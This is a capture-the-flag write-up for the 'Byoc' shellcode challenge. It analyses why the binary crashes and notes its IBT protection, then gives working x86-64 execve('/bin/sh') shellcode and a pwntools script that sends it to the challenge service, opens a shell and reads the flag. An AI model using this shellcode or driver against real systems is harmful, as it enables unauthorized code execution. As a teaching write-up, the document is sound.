Byoc

The program maps 200 bytes of executable memory, reads whatever you send at > , and jumps straight into it. Bring your own shellcode and claim the flag.

Connections

  • 34.87.191.188:9007

Attachments

Recon

Byoc, short for “bring your own code”, is a shellcode starter challenge. The handout is a small tarball holding two files, a nine-line C source and a stripped x86-64 ELF, and there is a service listening at nc 34.87.191.188 9007. We ran the binary and poked at it before reading a single line of the source.

Unpacking and identifying the handout:

$ tar tzf byoc.tar.gz
byoc/
byoc/byoc
byoc/chall.c
$ file byoc/byoc
byoc/byoc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5941caa54abbc860d03984c9d284527eab82af2d, for GNU/Linux 3.2.0, stripped

We gave the binary stdin closed right away, then typed at it:

$ printf '' | ./byoc; echo "exit=$?"
> exit=139
$ printf 'hi\n' | ./byoc; echo "exit=$?"
> exit=139

Both probes died identically. Exit status 139 is bash’s report of signal 11, SIGSEGV, a bad memory access, and it happened even when we sent nothing at all. Each run prints the same two-byte > prompt and then dies. That is a strange profile for a normal input handler, so we checked whether the remote service agreed before going further:

$ printf '' | nc -w 4 34.87.191.188 9007 | od -c
0000000   >
0000002

Same prompt, and the socket dropped as soon as we closed our end (sending printf 'hi\n' instead behaved identically). Whatever kills the local binary kills the service too. At that point we read chall.c:

#include <sys/mman.h>
#include <unistd.h>

int main(void) {
    void *code = mmap(NULL, 200, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    write(STDOUT_FILENO, "> ", 2);
    read(STDIN_FILENO, code, 200);
    ((void (*)(void))code)();
}

mmap maps a fresh region of memory, and here it gets PROT_READ | PROT_WRITE | PROT_EXEC, meaning the CPU is allowed to execute those 200 bytes. The write call is the > prompt. read fills the region from stdin, up to 200 bytes, and it is a raw syscall rather than a string API: null bytes are fine, nothing is filtered or decoded, and it returns as soon as any data is available instead of waiting for the full 200. The last line casts the region to a function pointer and calls it. The tail of main from radare2 shows the same thing plus one detail that explains every crash we saw:

0x000010bd    e8 be ff ff ff    call mmap
0x000010d3    48 89 c3         mov rbx, rax        ; rbx = the RWX page
0x000010d6    e8 95 ff ff ff    call write
0x000010e5    e8 a6 ff ff ff    call read
0x000010ea    ff d3            call rbx            ; jump into our bytes

The return value of read, the byte count, is still sitting in rax when call rbx lands in the buffer. With no input at all the count is 0, and an anonymous mmap page starts zero-filled. On x86-64 the byte pair 00 00 decodes as add byte ptr [rax], al, so the first executed instruction tries to write to address 0 and takes the SIGSEGV. With hi\n the count is 3; the leading 0x68 is push imm32 and swallows the next four bytes, and execution then hits the zero padding, where add [rax], al faults at address 3. That accounts for both deaths we observed, and the source’s 200-byte budget called for two more probes on the real binary, a buffer’s worth of A’s and a line longer than the budget:

$ tr '\0' 'A' < /dev/zero | head -c 200 | ./byoc; echo "exit=$?"
> exit=139
$ (tr '\0' 'A' < /dev/zero | head -c 300; echo) | ./byoc; echo "exit=$?"
> exit=139

The 200 A’s get the furthest, because 0x41 decodes as inc ecx, so our input is 200 harmless increments and execution walks off the end of it into the padding, faulting at address 200. The 301-byte run looks no different because read stops at 200, so the extra bytes never reach the buffer at all.

The picture was complete before any exploitation. The program allocates an executable page, fills it with whatever we send, and jumps to it. There is no memory-corruption bug to find, the feature is the bug, and the only constraints are the 200-byte budget and that our payload has to be valid machine code from byte zero. A protections check rounded out the recon:

$ pwn checksec byoc/byoc
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled

Full RELRO (the GOT, the table of resolved library addresses, becomes read-only after startup), PIE (the binary loads at a randomized base), NX and no stack canary. None of it changes the plan, because there is nothing to corrupt; the program hands us executable memory by design. The entry that did change what we wrote is IBT, Intel’s indirect branch tracking, which expects every indirect call target to begin with the endbr64 instruction, and call rbx into our buffer is exactly such a target.

Exploitation

Hand-assembling the payload

We wanted a shell on the open socket, so the payload had to call execve with /bin/sh, argv = ["/bin/sh", NULL] and no environment. We assembled it by hand:

ENDBR64 = b"\xf3\x0f\x1e\xfa"
SC = (
    b"\x31\xf6"                      # xor esi, esi
    b"\x56"                          # push rsi            ; NULL
    b"\x48\xbf/bin//sh"              # movabs rdi, "/bin//sh"
    b"\x57"                          # push rdi            ; path on stack
    b"\x48\x89\xe7"                  # mov rdi, rsp        ; rdi = path
    b"\x56"                          # push rsi            ; argv[1] = NULL
    b"\x57"                          # push rdi            ; argv[0] = path
    b"\x48\x89\xe6"                  # mov rsi, rsp        ; rsi = argv
    b"\x31\xd2"                      # xor edx, edx        ; envp = NULL
    b"\x6a\x3b"                      # push 59
    b"\x58"                          # pop rax
    b"\x0f\x05"                      # syscall execve
)

movabs moves a 64-bit immediate, and /bin//sh is exactly eight bytes, so the same eight bytes serve as both instruction and data; the string terminator is the zero qword that push rsi put on the stack just before, and the doubled slash is collapsed by the kernel’s path resolution. The pushes after it lay out argv on the stack, a NULL below the path pointer, then the path pointer again, and mov rsi, rsp points rsi at the resulting array [path, NULL]. The registers follow the Linux x86-64 syscall convention, rdi for the path, rsi for argv, rdx for envp, and rax set to 59, the execve syscall number, via push 59; pop rax. The payload is null-free by construction, and the script asserts it, though it did not have to be here since the raw read would pass nulls through. With the endbr64 prefix from the checksec discussion it totals 33 bytes, which we confirmed on disk:

$ xxd test/sc.bin
00000000: f30f 1efa 31f6 5648 bf2f 6269 6e2f 2f73  ....1.VH./bin//s
00000010: 6857 4889 e756 5748 89e6 31d2 6a3b 580f  hWH..VWH..1.j;X.
00000020: 05                                       .

Local test run and timing details

To test before touching the remote, we staged a test directory with the handout binary, sc.bin and a dummy flag.txt, then ran the real binary:

$ (cat test/sc.bin; sleep 1; printf 'id; cat flag.txt; exit\n') | ./byoc
> uid=0(root) gid=0(root) groups=0(root)
NVR{dummy_local_flag}

The shellcode itself worked on the first try. Two timing details surfaced during testing and shaped the final script. First, the 200-byte read returns as soon as any data is available. When the follow-up commands were piped in the same burst as the shellcode, read swallowed them into the RWX buffer together with the payload, and the shell came up with an empty stdin, so no command ran. The sleep 1 between the two writes keeps them in separate read calls. Second, the shell behind /bin/sh is dash, and dash buffers its first stdin read. A command line sent immediately after the shell starts can be consumed into that buffer without executing; on the remote the first line was silently swallowed while the second ran fine. Spacing the lines apart, plus a marker line like echo AAA_START in our debug variant, made every round of output unambiguous.

The remote session

The final driver is small. Connect, wait for the prompt, send the payload, pause 1.5 seconds so read returns with shellcode only, then send one command line and collect everything that comes back:

CMD = (b"id; pwd; ls -la .; ls -la /; ls -la /home 2>/dev/null; "
       b"cat /flag* flag* /home/*/flag* /root/flag* 2>/dev/null; "
       b"grep -r NVR{ / --include='*' -l 2>/dev/null | head -5")

io = remote("34.87.191.188", 9007)
io.recvuntil(b"> ")
io.send(ENDBR64 + SC)
time.sleep(1.5)          # let read() return shellcode only
io.sendline(CMD)
print(io.recvrepeat(8).decode(errors="replace"))

We first ran a debug variant with pwntools’ log level turned up, sending one command at a time. It shows the payload leaving and the shell arriving:

[DEBUG] Sent 0x21 bytes: f3 0f 1e fa 31 f6 56 48 bf 2f 62 69 6e 2f 2f 73 68 57 48 89 e7 56 57 48 89 e6 31 d2 6a 3b 58 0f 05
/bin//sh: 0: can't access tty; job control turned off
#

0x21 is 33 in hex and the bytes match sc.bin from earlier. The second line is dash’s banner, printed when the shell has no controlling terminal; it confirms the shellcode ran. Our 33 bytes executed, called execve, replaced the process with /bin/sh, and the shell now reads from and writes to our socket.

Flag capture

With a live shell on the service, one command collected the flag. Three globs matched four copies of the same file, so the value printed four times, trimmed here to one, followed by the ls / listing:

# cat /flag* /home/*/flag* flag* 2>/dev/null; ls /
NVR{br1ng_y0ur_0wn_c0d3_t0_sh3ll}
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr